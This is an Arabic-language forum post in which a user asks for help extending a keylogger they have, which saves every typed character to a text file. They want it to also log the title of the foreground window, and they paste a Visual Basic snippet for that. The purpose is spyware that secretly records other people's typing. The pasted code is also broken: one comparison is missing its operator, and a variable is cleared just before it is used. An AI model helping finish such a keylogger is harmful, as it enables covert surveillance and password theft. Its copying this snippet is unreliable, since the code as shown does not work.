![]() |
سؤال أخر فى الكى لوجر....؟ارجو دخول الخبراء
بسم الله الرحمن الرحيم
السلام عليكم ورحمة الله وبركاتة كنت بسال عن سؤال أخر فى الكى لوجر دلوقتى اوكية انا معايا كود الكى لوجر اى كلمة بتكتب بتتسجل فى ملف تكست انا بئى عايز معرفة إسم النافذة التى يكتب فيها الحرف وإن كانت نفس اسم النافذة للحرف السابق يضيف عليها وإن كانت مخالفة يضيف فى سطر جديد تحت اسم نافذة جديدة ودة كود لاقيتة يوضح المثال بس متعملشى معايا كود: Public Sub GetWindowName() Dim MyStr As String * 100 Dim hwnd As Long Static NewWinName As String Static OldWinName As String 'تجهيز اسم النافذة hwnd = GetForegroundWindow GetWindowText hwnd, MyStr, 100 NewWinName = Replace(MyStr, Chr(0), "") If Len(NewWinName) > 25 Then NewWinName = Mid(NewWinName, 1, 22) NewWinName = NewWinName & "..." End If If NewWinName = "" Then Exit Sub NewWinName = "" 'وضع اسم النافذة في صندوق النص If Text1.Text = "" Then OldWinName = "" If NewWinName OldWinName Then If Text1.Text = "" Then Text1.Text = NewWinName & vbCrLf Else If VWrite = True Then Text1.Text = Text1.Text & vbCrLf & vbCrLf & NewWinName & vbCrLf Else Text1.Text = Left(Text1.Text, Len(Text1.Text) - Len(OldWinName) - 2) Text1.Text = Text1.Text & NewWinName & vbCrLf End If End If VWrite = False OldWinName = NewWinName End If End Sub ياريت ياجماعة الاقى رد ولو واحد فقط |
الساعة الآن 04:48 PM |
Powered by vBulletin® Copyright ©2000 - 2025, Jelsoft Enterprises Ltd.
development-point